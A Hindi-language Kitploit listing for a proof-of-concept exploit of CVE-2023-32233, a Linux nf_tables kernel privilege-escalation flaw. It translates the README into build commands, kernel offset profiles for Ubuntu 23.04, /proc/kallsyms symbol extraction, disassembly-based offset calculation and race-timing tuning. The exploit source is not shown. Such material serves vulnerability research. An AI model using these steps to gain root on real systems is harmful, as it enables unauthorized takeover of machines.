Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-32233 — व्यक्तिगत उपयोग के लिए, PoC लेखक Piotr Krysiuk हैं, उपयोग से पहले कृपया README.md पढ़ें। | Kitploit
उपकरण/GitHubGitHub/pidan-heidashuai/cve-2023-32233
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगबाइनरी शोषण
GitHubpidan-heidashuai/cve-2023-32233

CVE-2023-32233

व्यक्तिगत उपयोग के लिए, PoC लेखक Piotr Krysiuk हैं, उपयोग से पहले कृपया README.md पढ़ें।

रिपॉजिटरी देखें
333 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

निर्माण और कॉन्फ़िगरेशन

नीचे दिए गए निर्देश Ubuntu 23.04 (Lunar Lobster) पर परीक्षण किए गए थे।

बिल्ड निर्भरताएँ स्थापित करना

बिल्ड निर्भरताएँ स्थापित करने के लिए निम्न कमांड चलाएँ:

root@kitploit:~
sudo apt install gcc libmnl-dev libnftnl-dev

बाइनरी बनाना

PoC बाइनरी बनाने के लिए निम्न कमांड चलाएँ:

root@kitploit:~
gcc -Wall -o exploit exploit.c -lmnl -lnftnl

प्रोफ़ाइल अपडेट करना

बिल्ट-इन प्रोफ़ाइल में Ubuntu 23.04 (Lunar Lobster) से निम्नलिखित पैकेजों के रूप में बाइनरी फॉर्म में वितरित Linux कर्नेल के लिए विशिष्ट पैरामीटर हैं:

  • "linux-image-6.2.0-20-generic", संस्करण "6.2.0-20.20", और
  • "linux-modules-6.2.0-20-generic", संस्करण "6.2.0-20.20".

बिल्ट-इन प्रोफ़ाइल इस प्रकार दिखती है:

root@kitploit:~
1                   race_set_slab                   # {0,1}
1572                race_set_elem_count             # k
4000                initial_sleep                   # ms
100                 race_lead_sleep                 # ms
600                 race_lag_sleep                  # ms
100                 reuse_sleep                     # ms
39d240              free_percpu                     # hex
2a8b900             modprobe_path                   # hex
23700               nft_counter_destroy             # hex
347a0               nft_counter_ops                 # hex
a                   nft_counter_destroy_call_offset # hex
ffffffff            nft_counter_destroy_call_mask   # hex
e8e58948            nft_counter_destroy_call_check  # hex

कर्नेल प्रतीक (Kernel Symbols)

अन्य Linux कर्नेल के साथ परीक्षण करते समय बिल्ट-इन प्रोफ़ाइल को ओवरराइड करने के लिए वैकल्पिक चरण:

root@kitploit:~
modprobe nf_tables
egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile

मशीन कोड

कर्नेल बेस खोजने के लिए हम कर्नेल मेमोरी में nf_tables.ko इमेज की जाँच करते हैं। और विशेष रूप से, हम nft_counter_destroy() सबरूटीन के मशीन कोड का विश्लेषण करते हैं। इसका मतलब है कि हमारी विधि कंपाइलर के साथ-साथ संकलन विकल्पों के प्रति संवेदनशील है। हालाँकि, सामान्य मामलों को बिल्ट-इन प्रोफ़ाइल को ओवरराइड करके संभाला जा सकता है।

उदाहरण के लिए, nft_counter_destroy() सबरूटीन का मशीन कोड इस प्रकार दिख सकता है:

root@kitploit:~
000000000001e310 <nft_counter_destroy>:
   1e310:       f3 0f 1e fa             endbr64
   1e314:       48 8b 7e 08             mov    rdi,QWORD PTR [rsi+0x8]
   1e318:       e9 00 00 00 00          jmp    <free_percpu>
   1e31d:       0f 1f 00                nop    DWORD PTR [rax]

उपरोक्त मामले में हम कॉन्फ़िगरेशन फ़ाइल "profile" में नीचे दी गई तीन पंक्तियाँ जोड़कर कुछ पैरामीटर निर्दिष्ट कर सकते हैं।

सबसे पहले, हम free_percpu विस्थापन से पहले वाले dword के ऑफसेट को पुनर्परिभाषित करते हैं:

root@kitploit:~
5                   nft_counter_destroy_call_offset # hex

जहाँ मान 5 अभिव्यक्ति (1e31d - 1e310) - 8 का उपयोग करके परिकलित किया गया था।

सत्यापन हेतु, हम फिर निम्नलिखित मास्क का उपयोग करके उपरोक्त ऑफसेट पर dword को मान्य करते हैं:

root@kitploit:~
ffffffff            nft_counter_destroy_call_mask   # hex

निम्नलिखित मान की अपेक्षा करते हुए:

root@kitploit:~
e9087e8b            nft_counter_destroy_call_check  # hex

रेस ट्यूनिंग

भेद्यता का शोषण करने के लिए Linux कर्नेल के बैकग्राउंड वर्कर थ्रेड के साथ रेस जीतना आवश्यक है। बिल्ट-इन प्रोफ़ाइल को मोबाइल Sandy Bridge और डेस्कटॉप Comet Lake सहित Intel माइक्रोप्रोसेसरों की एक विस्तृत श्रृंखला पर उस रेस को जीतने की संभावना को अधिकतम करने के लिए ट्यून किया गया है। हालाँकि, कुछ माइक्रोप्रोसेसरों को अतिरिक्त ट्यूनिंग की आवश्यकता होती है। उदाहरण के लिए, हमने कुछ सेटअपों में Alder Lake के तहत कार्यों को स्विच करने में बढ़ी हुई विलंबता देखी, जहाँ "profile" में निम्नलिखित पंक्ति जोड़ना आवश्यक हो सकता है:

root@kitploit:~
400                 race_lead_sleep

हमने अपने परीक्षणों में भेद्यता का सफलतापूर्वक शोषण करने की 80% या उससे बेहतर संभावना मापी, जिसमें निष्क्रिय बेयर-मेटल सिस्टम का उपयोग किया गया था।

परीक्षण अनुशंसाएँ

एक बार PoC किसी भेद्य सिस्टम पर प्रारंभ हो जाने पर, यह उस सिस्टम को दूषित कर्नेल मेमोरी के साथ अस्थिर स्थिति में छोड़ सकता है। संभावित डेटा भ्रष्टाचार से बचने के लिए हम दृढ़ता से अनुशंसा करते हैं कि PoC का परीक्षण समर्पित सिस्टम पर किया जाए।

टूल डाउनलोड करें